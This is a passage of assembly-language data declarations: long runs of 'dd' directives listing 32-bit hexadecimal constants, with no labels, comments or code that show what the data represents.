		dd 5674282Ah, 0F8CE8927h, 0ED5959BCh, 8991552Fh, 51F5EA5Dh
		dd 97D6ADB3h, 79417389h, 6B81902Fh, 0CF6CF536h,	74E95512h
		dd 0C2B8E5C0h, 87222C34h, 2B2A3ED5h, 5B5F48DFh,	0A16AD104h
		dd 8BD4EA6Bh, 5D590809h, 0F4A7C9C7h, 0AD2F4230h, 12E78100h
		dd 6FAF245Bh, 5E3A021Bh, 34E1058Bh, 97F97DD7h, 0ED022DA8h
		dd 1648D18h, 0F6347F7Ch, 0C23025F1h, 258B40FBh,	3A458409h
		dd 4245820Fh, 0ED65DDF5h, 0D1F76909h, 92DA2DE1h, 79EBDB31h
		dd 0D7C23C3Ah, 44CAE353h, 98685643h, 0BE06966Ah, 0F1FC974Eh
		dd 17E67B73h, 70201422h, 54562CD0h, 0F80F1283h,	0F7E5DE41h
		dd 73965E94h, 5F648C48h, 432C2DA5h, 55B24ED4h, 0B7CDD2DDh
		dd 6FB41741h, 0F4A4B204h, 76C78100h, 3A50A5ACh,	91CFCC7h
		dd 0F4A70F89h, 974F09D1h, 1A31ACC6h, 5B5D4EE5h,	0AC2B8131h
		dd 4BE9BC80h, 5B19CA89h, 50E828BFh, 0AD06802h, 84584052h
		dd 0A51D82D0h, 39AB1C77h, 0DE06F331h, 0A0C09CE9h, 0C5EE1390h
		dd 9C01BFD2h, 4F371C49h, 8218F6ECh, 0F6528C5Fh,	0D4102E06h
		dd 29C70E6Bh, 220ECE2Bh, 14D9B86Bh, 68877418h, 8C674E92h
		dd 5F4E9DF3h, 2078CEA2h, 5A5F9853h, 935E9B0h, 90F371Eh
		dd 0BCC15062h, 6ABE00DDh, 4A491B39h, 0FCBDB053h, 63FC4AF1h
		dd 8F4930B2h, 87C07E29h, 4C080305h, 2806DF01h, 0CC1A9164h
		dd 0DDEDB602h, 0C2F9299Fh, 0B75077CFh, 0F8B2E14Eh, 0A47974C1h
		dd 3E046F5Ch, 88A4AEC6h, 43632FB3h, 662D3A65h, 0C8292C43h
		dd 3B31083Fh, 0C6D7BE01h, 816FABD2h, 6F0406CCh,	0CA0B98C5h
		dd 16A583Fh, 524C65BDh,	41EB2142h, 21148B5h, 893F545Eh
		dd 0B05D0768h, 80841CFFh, 0EB01C05Ah, 51C3FE06h, 3F828B5h
		dd 0D52FC147h, 0CCD3C580h, 0E89D1CEDh, 95AB3BE8h, 120974D3h
		dd 40E6322Ah, 8613070h,	0D629191Eh, 0D4900820h,	3379C539h
		dd 8C5A1C58h, 9E8193ABh, 0EE0901ACh, 8CDC15Dh, 1381F02Bh
		dd 72ABD35Ah, 717D5F45h, 0BA907A81h, 2FC05C2Dh,	359FE2EEh
		dd 0E8094BE5h, 0DF4018B6h, 9FD00166h, 7C25A3F0h, 633C5913h
		dd 8376DEC2h, 8E810B4Bh, 50C2F9B7h, 978BF620h, 0CB48445Ah
		dd 54E1399h, 10AF6E12h,	9A27F445h, 3B7ED30Fh, 43139D96h
		dd 613AF569h, 16FE1410h, 0EDD0553Bh, 0CAD25A1Fh, 0B3C710F6h
		dd 0EDF3387Bh, 0E8734B73h, 1DE1F26h, 34FC6F97h,	0F40DC44Bh
		dd 6C417719h, 0D306371h, 0F1392D12h, 0B43F307Fh, 0E83B2F1Bh
		dd 0B8D76942h, 0A4849E6Bh, 44AF0BA7h, 0E3F4161Bh, 1AC0E016h
		dd 76A7BAh, 0CA8154BCh,	48A91603h, 0CB424A38h, 0F3643AF0h
		dd 15BE0105h, 0EF35F262h, 0F3DE5CE2h, 60E1F5E9h, 5DA16AB0h
		dd 0E062BD6Fh, 0A89F44E9h, 7669BABh, 0D33156EFh, 28863A5Ah
		dd 55E80BFDh, 7F064146h, 214CB591h, 0DAF71ED8h,	4580F292h
		dd 1369F680h, 1D6BB151h, 0E8902D8Dh, 49004DBDh,	0BE56160Eh
		dd 168D4CA4h, 0BBF5312Eh, 60E9DA28h, 7FB9955Eh,	72DA815h
		dd 292BDF29h, 8098EDC4h, 8B91975Fh, 673363FAh, 59781262h
		dd 7ACA3103h, 0A9EF5B17h, 2CAA5A9Ch, 1009BA16h,	0D04C0C2Fh
		dd 0C2811C45h, 1F6B4418h, 0E11EC242h, 0B49A6803h, 9FD496C8h
		dd 55C9BA1Bh, 0BABB0015h, 0E1AC4A37h, 7F003A57h, 7EB56FF1h
		dd 1ECF30E9h, 846B9BFh,	81641A01h, 655816E1h, 13E9D060h
		dd 0B19537Bh, 9294468h,	66692AD1h, 0B1E9177Dh, 1920F9A8h
		dd 77F1C667h, 55B7ABFEh, 0B5A14F0Ch, 0C614FA1Eh, 2AC9328Dh
		dd 5C51826Ah, 3055626Ah, 281CEE12h, 41FB0B10h, 0E1542BF7h
		dd 291A3068h, 3B404BCDh, 0C50212F1h, 36E53852h,	0B1132A74h
		dd 8DE191ABh, 975E235h,	889088Fh, 8CAE5D16h, 335A2D42h
		dd 0E1EB3624h, 40D0F13Fh, 8724094Ch, 0EB046076h, 20A6963h
		dd 4ACF1BFh, 58538B08h,	77B38F15h, 0A3113B62h, 0A1C480A0h
		dd 442FE288h, 0AAD30D3Bh, 3434F6E3h, 0A3B5BB9Dh, 17C41520h
		dd 0AC07612Fh, 1E005EAh, 75FC3D3Eh, 0C1D1E24Bh,	53194779h
		dd 68570600h, 7C0027ECh, 0DA2D5F59h, 1454501Ch,	705F829h
		dd 4E7EA25Bh, 3F9310A4h, 2D7D9D45h, 78DCDA5Bh, 0D6C93D50h
		dd 443BB177h, 0BAD0FEF4h, 1AC00DA0h, 105C2901h,	7955D41h
		dd 88EEDF94h, 2D0E6657h, 0A3574A96h, 0CA6CB9BFh, 0BE697153h
		dd 0FE7EB81Dh, 40AFBB3Dh, 0E916DC54h, 68E680ABh, 572CBEEFh
		dd 5B804FC6h, 0E93A1C7Ah, 8C654A36h, 91F3266h, 99493E38h
		dd 6385F4D3h, 0FA84BA1Ah, 9292A6B6h, 9E6A718Eh,	0E9E226F1h
		dd 2F0976E8h, 0E918923Ch, 0F329B54Ah, 0E57F76EAh, 5DAAB645h
		dd 1BB089A8h, 973DD97Ch, 15A863BAh, 6BEFB9E0h, 86984F76h
		dd 0CE0B8F09h, 32800068h
		dd 0C16DC07Ah, 8511280Ch, 0ABE12F21h, 6B1B7240h, 0D08ACB96h
		dd 0E0BA88C0h, 1127901h, 6504F281h, 0B7ED2FDh, 470231A7h
		dd 0B84873E9h, 0C524685Ch, 56515638h, 68C04822h, 48AE0F83h
		dd 0CC2D5800h, 0E9143F3Eh, 0BD8A70EBh, 0F165A0DEh, 6C67CA21h
		dd 3B0D1F82h, 8BD7781Fh, 0B15D0C2h, 70345737h, 0F66FA1F5h
		dd 88C5D90Fh, 0CD2AF16Ah, 251B71EAh, 9422203Bh,	93CF173Eh
		dd 0E705EDD1h, 8ABFB499h, 527C6068h, 2B1D9F68h,	9FFF414Dh
		dd 19A9B387h, 0C24627B9h, 0CB14F1F5h, 7D2BCC5Dh, 29F05AE9h
		dd 1E0CA506h, 0E9530B3Eh, 5148F5BFh, 18B705C0h,	82963107h
		dd 173A70DDh, 0B8749768h, 0D7EFA148h, 68FB8982h, 0DD7C5E1Ch
		dd 259C52E9h, 317E51F8h, 25446072h, 452D8089h, 393A4D1Eh
		dd 0ABBCC717h, 49556304h, 0AF87800Dh, 0AA5E1EE2h, 0C1C24884h
		dd 2EBF00DEh, 4C48203Ch, 0C3D609A0h, 0C59780DFh, 4CCA1FD7h
		dd 9D40C70Bh, 452A1461h, 33038702h, 0E973EC64h,	0A1949682h
		dd 0DBA717B4h, 2874492h, 0FA3C81E9h, 4DCA0CF6h,	3A7C2B33h
		dd 0D4CCB216h, 314804BFh, 4C8513E7h, 0D4EFE7FBh, 0AA6517DAh
		dd 0F12EC8AEh, 0A349FA7Bh, 0C1B70431h, 0EE82F730h, 957C4C2h
		dd 358465D8h, 201C0E0Ah, 6BA79D08h, 0B90E4813h,	0B440045h
		dd 9ACF8957h, 0E25948B7h, 2B7D5E06h, 3470966Eh,	36C3Eh
		dd 423C1DE5h, 25E94D79h, 31749D2Ah, 1A0F246Fh, 6C9C0D00h
		dd 0F7127A0Eh, 7C4255D0h, 6067B978h, 3E02EAE5h,	0C604149h
		dd 1D2B319Ch, 0F07CDD80h, 0D5892772h, 1772142Eh, 3849AE05h
		dd 98927059h, 27D40E24h, 0E5A43204h, 645FA4CCh,	61D11B13h
		dd 0AB5FABA8h, 1AE0E56h, 771AC52h, 3040804Dh, 29327801h
		dd 7C3590F1h, 665D3087h, 8B77FA68h, 0CF064976h,	6E5B70F3h
		dd 0F9898084h, 3242C0Bh, 6252894h, 5F19FDC5h, 70EF5845h
		dd 0DC5B4B4Dh, 0E14FBFE8h, 7E696141h, 0BA9671F6h, 0B681CA61h
		dd 9221372Fh, 475F3935h, 10582667h, 92775C0h, 80E492A4h
		dd 6359477h, 3906B061h,	0A44C6F10h, 6877CB03h, 0E3E0333Bh
		dd 0CA3C1150h, 76F6965Ah, 0EFB40060h, 0BDED4BF5h, 0D0FD16FBh
		dd 0F4A6BCh, 8F27968Ch,	0A1B83166h, 48A17B4Bh, 0D2A4AC6Fh
		dd 62903709h, 0C0C5F798h, 0A71F5325h, 0E93C1877h, 342EB77Ch
		dd 0C26223C0h, 0C87D29C0h, 2B9C3234h, 0DF121BA3h, 293CAE6Bh
		dd 26CE50D2h, 5D17065Ch, 0CAD1010Eh, 0CCF7088Bh, 14163722h
		dd 0CABF5099h, 0A9D4D23Dh, 2D3B5AAh, 0CD66C4D4h, 0D868F3B1h
		dd 9267702h, 8E71F571h,	663AC632h, 0B85003BEh, 6AC737EEh
		dd 61DFD9F2h, 18815B58h, 61084B32h, 1273CC2Dh, 6E351800h
		dd 5303D33h, 0A045171Bh, 0C6E4B1F1h, 3A0751DFh,	0FB68DD85h
		dd 9E13BBE3h, 73C0F8E2h, 0E936711Dh, 4E81555Dh,	0F5E5C0D2h
		dd 0CE4E7FD3h, 0B231C02h, 0B3C8C659h, 91D7CEAh,	933F2913h
		dd 41AD5F0Ch, 0F40B980h, 0E4B74A72h, 68A088B4h,	953F70DDh
		dd 5F7A41DCh, 2345E579h, 70EBA5C8h, 170B257Bh, 408C328h
		dd 0B3473368h, 2AA070B8h, 5B3852EAh, 44F85A9Ah,	0F6AAB781h
		dd 0B3A6E4D7h, 162528C0h, 0F4663B5Bh, 948C4B88h, 0F2A580F6h
		dd 7A2E334Ch, 8025D870h, 651CBE56h, 0BB2B5E41h,	31F8F253h
		dd 7E15D406h, 0D6030C5Eh, 89AECDD3h, 0E91200F2h, 3C452F21h
		dd 564CD129h, 0E64E2D8Bh, 56324FDBh, 7B71BFF3h,	907AA2DCh
		dd 8890B56Ch, 3915D09Dh, 0AF66EF3h, 7543E949h, 86EF9C9Fh
		dd 8D2F7D5h, 426241FAh,	5DD9301Ah, 702636E5h, 4A57E950h
		dd 4921BAE5h, 303A7656h, 127B5965h, 29903659h, 0E958E651h
		dd 3DE15B82h, 0C3412098h, 0A1B272DDh, 0E545F75Eh, 4A1E6807h
		dd 0FFCE5D0Bh, 0BC2FE918h, 9707A325h, 0E020C247h, 7EB56670h
		dd 6097A2Ch, 0ED78386h,	0EF617695h, 4A17CBA5h, 70275A0Dh
		dd 25F43EB2h, 520A5890h, 3F3077E9h, 0E84B5D9Eh,	0C2645665h
		dd 5601C2E3h, 57CEEE89h, 77404CB0h, 31017F17h, 38E99E80h
		dd 7224BD64h, 58D10B05h, 232C1803h, 0C4402476h,	927CD1BFh
		dd 5EBCC256h, 8CDA595Fh, 0AD0A23C5h, 4770FBECh,	5B675C9Dh
		dd 291C07F9h, 53BF4B4Eh, 8D724469h, 2D5F00ACh, 5A187F85h
		dd 0D1C0127Ch, 7968DE8Eh, 6617046Ah, 0F1BA1B44h, 76F83B6Fh
		dd 0FE02AA93h, 5672B051h, 6D82C070h, 2D266065h,	0EA60C901h
		dd 9ADA2710h, 0C129098Bh, 0C7FC8BE9h, 45B65286h, 59C940B0h
		dd 66EA6827h, 5623A2D1h, 0B4FF2D1Fh, 95DDEA21h,	0F989B730h
		dd 0A640FCB0h, 0CE082758h, 0CF84E72Fh, 0C298AEAEh, 0F6854450h
		dd 8945770Bh, 72FF8039h, 135C1126h, 634B3F68h, 34AFFE7h
		dd 0EC61DCACh, 70E61640h, 0E005EB11h, 3108B7ECh, 0D54EDF82h
		dd 0BB02E1D2h, 3EDC7341h, 688A8129h, 1C764B37h,	3301D700h
		dd 7BFE2D4Ah, 1466CD3Ch, 120705C8h, 0C4A0CCE9h,	343B0BBBh
		dd 0E44B4DC7h, 0C3CB27F3h, 3BB034CEh, 78D6F337h, 1F09BE8Ah
		dd 426151A2h, 240A9F8Ch, 2C430C08h, 42973EBCh, 3D4BB45Fh
		dd 81305543h, 3C5DC106h, 1D903B73h, 0D86A9C07h,	0D30F76Bh
		dd 7579699Bh, 51670B14h, 7C507Bh, 0CAF87317h, 209C591Ch
		dd 6929ED04h, 50BF6CADh, 385F08EFh, 0C941EA3Fh,	79EDC230h
		dd 84515E06h, 88CBAE92h, 6F685E04h, 0C038EF0Fh,	666C0BC6h
		dd 45D23383h, 0F95D0882h, 99E94259h, 4857BC6Ah,	1222C6C0h
		dd 466F328h, 5409CE4h, 12A0FB29h, 0F4761B8Eh, 50C8D66Fh
		dd 0E91342E2h, 5D412549h, 46887583h, 751C6621h,	3109B7F8h
		dd 8426475Fh, 0AB542A68h, 31309129h, 4960822Eh,	0B40F500Fh
		dd 1DCF66Bh, 0E3280EECh, 46BCB07Fh, 3B48D9F3h, 17117112h
		dd 0CF85EF4h, 57225127h, 0B6D62CFCh, 4FD56AC4h,	0C0F1E0AFh
		dd 0F38AEB50h, 0DE28CF12h, 53E49AD1h, 87BA5200h, 34CC3D16h
		dd 91018512h, 8EB0E902h, 82CC343Eh, 0E9DF2CCDh,	1BDDFD72h
		dd 3116512Ch, 0B039FED8h, 86CB983Ah, 0F8C4E454h, 0E0D15F00h
		dd 6D9C7C35h, 0AD48B71Fh, 4082D685h, 3D26026Ah,	34AD1353h
		dd 84CBC1C8h, 1A3D771Eh, 0F7F6F5C9h, 56571CECh,	0C0D02F3Ch
		dd 3950B9D5h, 83BDF203h, 3F5465E1h, 0C877F26Ch,	91777C7h
		dd 89E936E6h, 0ED5DFFABh, 0BF5092FAh, 0E975D137h, 5F25DC1Ch
		dd 0A179231Ch, 1E75BF80h, 980AFC0Bh, 0DB04C755h, 0D89241E5h
		dd 0C563D22Ch, 7453122Fh, 0CA6C0916h, 1271494h,	281AF5FAh
		dd 5A5BCEFDh, 7BB6A7C6h, 4A753E59h, 337ABBC0h, 0B678BDF7h
		dd 309FE97h, 0E259A8C5h, 0DF7AD214h, 0BC7FA985h, 0B8508474h
		dd 0ECC28024h, 755FB439h, 0F54177FCh, 0BD0BB0A0h, 0CCBFCDF0h
		dd 5A44203Eh, 3CC33124h, 5277516h, 7615A080h, 886ABF72h
		dd 89590802h, 43327975h, 92F4CF31h, 7B56D459h, 3E18BE02h
		dd 0F29487B1h, 37F9D2C5h, 0F337EC4Eh, 56582789h, 0BD3A9E77h
		dd 755A4A56h, 24954B96h, 0A2AE6C29h, 9F324F38h,	2E2B4C51h
		dd 9289A5E9h, 1049F9BAh, 4E7E5429h, 2D80C0BEh, 0A42D1CF7h
		dd 438B5125h, 48124729h, 0FBB4EB9Dh, 0F2591852h, 22F00C4Fh
		dd 5F1D2504h, 9AC1D189h, 2ABCBCA9h, 41BF5781h, 31178E12h
		dd 754CC079h, 2164E4Fh,	0B2A2D84Bh, 0E29241CFh,	45D6352Ch
		dd 0F477E3A8h, 281C9F1Bh, 0DA9F4801h, 0BD227353h, 44787402h
		dd 769724EEh, 8809AA74h, 1523DEC0h, 646C288h, 29104A30h
		dd 883D2FAh, 94A61C3Dh,	0B58C166Ah, 0E4D3E4E3h,	0A55C34Dh
		dd 13CDE063h, 5A3F4B00h
		dd 5E6ACA81h, 703661D4h, 0F4DF5FEDh, 0AE487BE9h, 6F21A0D3h
		dd 0E9CFC21Ch, 7B5FB4D9h, 0BB6F65F6h, 52DE1C41h, 98605A56h
		dd 3F44413Ch, 8101D0FDh, 0E324B6CDh, 17F5D802h,	3970717h
		dd 40D1EDE0h, 68045F9Eh, 4E33632Dh, 0FED7FAA8h,	17EAA4C0h
		dd 4513305Bh, 370E6F0Ch, 0BA9614Eh, 27510840h, 568007E9h
		dd 0E120FAB4h, 3B09F6B9h, 0A7905149h, 957C96F7h, 94CD165Dh
		dd 49B8C2E0h, 5CA1B8FFh, 0FDB040Bh, 0A5615085h,	629AF9A8h
		dd 0DE266F7Dh, 43D788CEh, 0B1525BF8h, 69ED68C6h, 82E93F57h
		dd 543C9EA4h, 0E846493Ah, 0F17B0B2Dh, 254250B3h, 0C1725DB4h
		dd 4CE8A7A6h, 0C0494A4Fh, 4B373428h, 0E794E973h, 170C2C0Eh
		dd 0CBB23FB0h, 548FD00Ch, 0D6E96482h, 8601F058h, 0A9B753D9h
		dd 487CFFEh, 33D4C780h,	0A8B516F7h, 54F92D09h, 12E0013Eh
		dd 80781CE9h, 0EFD15816h, 0B706E7C1h, 0A67CEF60h, 0A5804D9Eh
		dd 0BD7E9910h, 66EF135Fh, 0CD8E4B81h, 73586DE2h, 1CEC581h
		dd 8D3BCA68h, 9D4BF4FFh, 2C13C6BDh, 0AEB0C7F6h,	0D00582C0h
		dd 0D857A51Ch, 568530B7h, 776ABE32h, 6A4CEC27h,	5848B1ECh
		dd 9D3FB120h, 18829D66h, 370B015Dh, 0FC3E1999h,	54DF8525h
		dd 8CF431AFh, 0D28B4728h, 56E9DCEEh, 74960FBh, 41734500h
		dd 122F2540h, 4FFAB897h, 0C371D0BBh, 2E256F33h,	9108532h
		dd 0E95EE080h, 4A9960C7h, 7D9B6853h, 344E502Ch,	71F3B05Bh
		dd 37A50B6Bh, 9D02D3F7h, 28F4E173h, 0BC525E78h,	0EA896191h
		dd 561A605Dh, 53C87817h, 0B5CC4FFh, 40E65A08h, 5B989691h
		dd 2F0A9726h, 0A08503B7h, 5158B9C0h, 0F4F86DC4h, 0C1280EAh
		dd 5576B337h, 0A90ED05h, 0D4FE119Ch, 1C081A4Ah,	995A1405h
		dd 16E430FEh, 68DA6082h, 0F034411Ah, 18B7836Bh,	8218B538h
		dd 0BAF5E382h, 92E7CBFDh, 0D0EF7FDh, 6E55C3EBh,	594C2F1Eh
		dd 5EC9ACD9h, 0E0E9E3FBh, 0CB91D08Ch, 0CD3D3F02h, 0F75DAA2Dh
		dd 98EF013Bh, 55249CF7h, 7C370B68h, 65C01125h, 527FCADh
		dd 2FFA7C69h, 10904FCh,	387AC6E1h, 163E2FCCh, 90F388AAh
		dd 7CEB0CC1h, 1D462A8Dh, 1C48417h, 0E95E90EEh, 0CBBE3A35h
		dd 0D5452E3h, 11E957EBh, 0B78F2E23h, 0E9193320h, 5690F0CCh
		dd 0F6813B30h, 32217C34h, 0D32B2F89h, 0EB802C60h, 0DFADF44Eh
		dd 0A9200884h, 56491294h, 8ADA1FBCh, 75A71995h,	677F2C29h
		dd 0B2E9418Ah, 0C623800Ah, 359F323Fh, 0C07E9D5Dh, 0E836D262h
		dd 0F056F3DDh, 776AB502h, 0A32F23C0h, 4BDC6880h, 50B22245h
		dd 0C191EF63h, 0FAE2D658h, 514548D9h, 0E9FE0C80h, 898F6936h
		dd 311F35F8h, 0ACEE1B75h, 0CE845644h, 0EE890B05h, 0C3246A9h
		dd 0DE0B1F92h, 81063062h, 3B5EACC9h, 2F189E0h, 40B37192h
		dd 0EB62CA21h, 0B9127A70h, 1EFA2FD8h, 784C12Fh,	20531D4Fh
		dd 6513B141h, 0DB80565Eh, 5BF708B0h, 8448C532h,	0E9F5020Fh
		dd 1CFD04D0h, 0A991FCF0h, 5C255E94h, 882BFE21h,	88135B41h
		dd 0B5C433C5h, 0B29C51E9h, 0B8009341h, 4A37AC2h, 47DF3501h
		dd 90D1EF34h, 3720D0F7h, 1A3013B7h, 7B0BF1E4h, 1844E444h
		dd 4051E902h, 0C14113D5h, 7972F39Bh, 1B72D400h,	0E5C15A01h
		dd 462065Ch, 22156CBDh,	26D4C6FBh, 0A1247AFCh, 8F3BAA37h
		dd 89519145h, 0B0F076EBh, 0A641920Ch, 4829713Eh, 43084139h
		dd 7102DCEDh, 2A72B4EAh, 0EE0BD763h, 0F2203BFFh, 60F962E8h
		dd 4E37F18Dh, 2D504048h, 40D764EDh, 5E4CE958h, 0A4534C8Dh
		dd 8B99DF6h, 175FFFC4h,	0AA183AAh, 41EA8B5Fh, 456F6D70h
		dd 470CA82Ah, 89EF3C01h, 6B78E9F5h, 68508E22h, 30487B07h
		dd 0E85387A3h, 2398F603h, 14C1042Dh, 0C5622019h, 0A982894Fh
		dd 20F672DFh, 0B904C053h, 43D41BE1h, 0BE565A80h, 72D702B2h
		dd 5EF13196h, 0AEF650D2h, 4F82F6BDh, 34847F25h,	3927EA81h
		dd 0E44082DBh, 0EEF777h, 70962C20h, 8BC84A5Bh, 405A3C57h
		dd 60860035h, 0D8F7122Bh, 930B112Dh, 0D521BEBBh, 681659E6h
		dd 0F88D39A4h, 6A720E80h, 7C7FCF81h, 0B9F7D49h,	2752E0Eh
		dd 5454ACDEh, 319B8289h, 20C56236h, 200DBD81h, 872E290Fh
		dd 5F461CF6h, 0AF33D112h, 64DA4801h, 0C8213D31h, 8028231h
		dd 40A85458h, 0FE3A37BAh, 823C399Ch, 0CA7BB3C1h, 0B16A5F16h
		dd 80A6080Eh, 0D35F8136h, 0E47E3AC9h, 725D576Eh, 2BE00F98h
		dd 6809F7C1h, 0F04C5796h, 8BB9C848h, 0E1445D75h, 0F4B7EFFAh
		dd 0B0FE4930h, 7487D52h, 0B3979C23h, 9094D7CCh,	44CB1E12h
		dd 0C3766343h, 433B4D57h, 62BDAFC6h, 2DB96606h,	0E259B4D1h
		dd 0EAFC90Ch, 483009BDh, 0E500574Eh, 498C13E3h,	75E4A9A0h
		dd 0E928CE1Dh, 0C8891D52h, 0D30EE97Ah, 5009F0C8h, 4ED25DFAh
		dd 5168BBD3h, 0B89440ECh, 0BDA4331Ch, 86C7318Fh, 0B74C5039h
		dd 0C202AB7Ch, 7D12AC71h, 0F0AE2E45h, 746DDDE9h, 4C70D12Fh
		dd 0A76BE9D1h, 9575698Bh, 0F713E43Ch, 813C1ED3h, 96FEE47h
		dd 1F872AFBh, 3D053047h, 0D2844CBAh, 0CA078104h, 21621577h
		dd 9EC7EAD4h, 0A46E5A30h, 577895F3h, 97D91D20h,	0C57D8D4Ah
		dd 0C0529F53h, 0E9EEEDBAh, 0D9AB9E5h, 0BB68490Bh, 8266DE7Dh
		dd 5C4EE2C3h, 1C4FC055h, 6C6F1376h, 81E2C589h, 3B3478D3h
		dd 0B55A778Ah, 0F0956E93h, 0C19341ABh, 710AF939h, 0EEF36E34h
		dd 27E90C40h, 0BAFFCCEAh, 0DA48012h, 4C3EDD0Eh,	0A5507C83h
		dd 0B7E51D09h, 0CE374825h, 66ED6805h, 4AC1EDh, 80D2F649h
		dd 531371EAh, 0C8099BB3h, 0C48D51BAh, 4AD1EC3Bh, 68A037B9h
		dd 79157E7h, 552057ADh,	7B6433DBh, 6D6CE912h, 0F88439FAh
		dd 9895CF2Bh, 94B2F263h, 58544329h, 8B1E5CD1h, 66938C91h
		dd 5306CF6Fh, 0B3054F85h, 545013CCh, 2D69CCAEh,	0AF56553Ch
		dd 752883Ah, 0CC71C224h, 0AF5BDB78h, 1731D29h, 610715D3h
		dd 1EB4F85Fh, 6380CB81h, 55684ACEh, 3727C44Dh, 0A6B900BBh
		dd 480AB772h, 3A013153h, 3CE9774Ch, 23DA3E9Eh, 102A9B42h
		dd 0B819D683h, 7AE9F017h, 6D79BDFDh, 58E5023Dh,	92972EAh
		dd 0E0A401D9h, 0C73BC902h, 7768D5B1h, 601226F3h, 6CDCAh
		dd 125E5214h, 0F96C34E9h, 2F393811h, 0FC0A94E2h, 201C14F2h
		dd 4720CFD0h, 4BA2BE02h, 0C03119EAh, 0B49472EEh, 4DFD4BF6h
		dd 4E7EA5B4h, 0D62B8669h, 6C30723h, 1E016207h, 8CB10D2h
		dd 29550C6Bh, 200AF2E5h, 5E1ED050h, 0C686F29h, 16D23E5Ah
		dd 7EAD7DC5h, 0F5F42A0Ch, 7168125Ah, 4FAFCA0Ch,	522EAFB6h
		dd 0A9E0132Ch, 0FF623CF1h, 73CC6D4Bh, 3AEB0968h, 7E9002E9h
		dd 71974386h, 15B0C0DDh, 0C26D0F6h, 53090B0Eh, 3AD88288h
		dd 0CFBF0048h, 0F0B59E44h, 10D30B02h, 4958BA2Bh, 857003B5h
		dd 0C75D3F0Fh, 5B4B337Ah, 0B4A12C0Ch, 5EFF031h,	4EC31010h
		dd 9C9E7F05h, 931FC0DFh, 7236F960h, 0D3624C1h, 3B0274A4h
		dd 0FDBFF00Ch, 5C6EC06Bh, 17125C6h, 47041D05h, 57FEE909h
		dd 11B20F00h, 0F0A138B7h, 8BD9E08Ch, 0B1F4014Ah, 91D8F907h
		dd 143B12E8h, 0EB04BE31h, 5F909F4Eh, 736511F6h,	87562F0Dh
		dd 0E9FB10D7h, 0A0E2B5A8h, 0CB14D9DFh, 6A69E177h, 8A9D12Ah
		dd 0BD01056Eh, 77065142h, 71608082h, 40D5627Bh,	48D0E774h
		dd 2F18E374h, 0B5F589D7h, 760CE2BDh, 1A7525DEh,	1186F7C3h
		dd 20206723h, 0BE549D5Dh, 8E82E5ACh, 4022654Bh,	0EA6A1110h
		dd 26329492h, 20522F73h, 0E9D52906h, 0B67ADEB2h, 0A1E082Ah
		dd 0E93BA01h, 0C7E86F17h
		dd 522C0EEh, 63CF25DFh,	2DE82914h, 0F75D1307h, 510AF3ECh
		dd 94E7A031h, 761ED302h, 0C441942h, 6FA020A2h, 6BAB60F9h
		dd 0C4A1830h, 4E84D4B6h, 4076A80Bh, 7A16AD99h, 7FE118CCh
		dd 3122976Ah, 60140DB9h, 4509C793h, 0D613E1CBh,	995016EDh
		dd 9AEC3E69h, 0C8DCE9B0h, 8BB4F4B7h, 0D7989096h, 5B0A3668h
		dd 9D5F0851h, 0E8B4893Ah, 572C4030h, 0BD5798E9h, 0C4FCF62Bh
		dd 0A722AB6Fh, 36625D6Fh, 4A1254CAh, 1E572D26h,	0C44890BCh
		dd 0AC4E4F5Ah, 33DCF4DAh, 70EB9401h, 0E5BFC3AEh, 0FA4B344Bh
		dd 0C9F9A989h, 1AEBEB24h, 14411C0Fh, 44E58B7Fh,	2D447CA6h
		dd 26586755h, 1E256816h, 7821DF60h, 0C17F0080h,	0E94E07EEh
		dd 0ADC65605h, 74908F5Fh, 4746BDE8h, 95C5F94Eh,	66909B8h
		dd 36824260h, 362D43Bh,	8A3494E5h, 31E2640h, 89B7028Fh
		dd 7CD4FA53h, 0CEDE780Bh, 0F33CA0E1h, 5A952F67h, 0B48783D6h
		dd 11DD0B65h, 26023BECh, 0AD5B038Ah, 64BDF7A2h,	0BAE36675h
		dd 97B33061h, 7444F567h, 268D7048h, 44AE02A3h, 609BE978h
		dd 12EA1749h, 557B9248h, 5F09B938h, 0A52838EEh,	0ACA9859Dh
		dd 9A1182h, 62217AB8h, 0C3123473h, 0DB045658h, 50842846h
		dd 0F200A0BCh, 967205F7h, 9ECBD689h, 0D2C475BFh, 27A35A5Ah
		dd 968EBC4Fh, 788440E8h, 0EBAC124Fh, 0F03CEF93h, 0A3681257h
		dd 94BEA248h, 0FB057EBCh, 586EE010h, 0B25626ABh, 0B5817ECh
		dd 3DB10A6h, 0C0CFFE00h, 0B25208E7h, 0D7074574h, 38EF805Ah
		dd 0C327FCEh, 87F7CFFh,	0D2CD3B4h, 0F15BEE04h, 90C00A87h
		dd 0C73B8421h, 0A671860Ch, 0F02A6620h, 0C25C82F3h, 0D0FAB517h
		dd 464B42E1h, 23B5C09Fh, 9FD07D2Bh, 8947D481h, 62EADD06h
		dd 2E681FB6h, 6EF699A7h, 81F70BEAh, 585AD1B8h, 0DD062C7Fh
		dd 0C1BDA56Eh, 0BE762BC8h, 30393671h, 0C3FBA05Eh, 61CAF75Fh
		dd 0E976604Ah, 0BD8013F2h, 4F3A1266h, 7F25AE3Dh, 0EF0306E4h
		dd 4F169A3Fh, 0C497FEE9h, 1E72D4Bh, 6E024DA2h, 2F582241h
		dd 426B4ABAh, 6541ED46h, 0A3FB7163h, 622DB802h,	7A59B87Bh
		dd 0CBF42079h, 19086818h, 8010A2C1h, 0C8E0CEB1h, 0C33E909Dh
		dd 2D5E8072h, 683A3E09h, 74005533h, 0DDAC4335h,	5A7A8FFBh
		dd 0EA79091Bh, 58080603h, 9AE070Eh, 0F4E9A2BAh,	0D0F5EBB3h
		dd 4C0FD6Eh, 0A72EB43h,	915F50ECh, 2ED5E959h, 0B3EA89C4h
		dd 20EA94D1h, 476097B6h, 0B1CBB39Dh, 460A0929h,	6581FE12h
		dd 0EA2D1E7Ch, 4BBFA795h, 965D57C5h, 92681754h,	31D18D10h
		dd 54108FDCh, 0D5C0EB5Eh, 2E080BB0h, 5355A312h,	7F1ADEA6h
		dd 8C60F6A5h, 7212CDEAh, 0E1AB5694h, 1C0806C9h,	1B71280Bh
		dd 408B5757h, 0A721477Fh, 4A4280EAh, 0C1809868h, 592EF278h
		dd 40B434B0h, 0D97580BFh, 3A34A10Fh, 0F4C62229h, 2E4609DFh
		dd 190261F9h, 2902F163h, 8A7DE0FBh, 3E671F49h, 0CF0A8B5Fh
		dd 84A0CFD4h, 1F11BC09h, 59DDFC79h, 0AC0F45F2h,	505E25ECh
		dd 9704744Eh, 8C275822h, 0F795DD0Fh, 585C09A2h,	2FC5FD21h
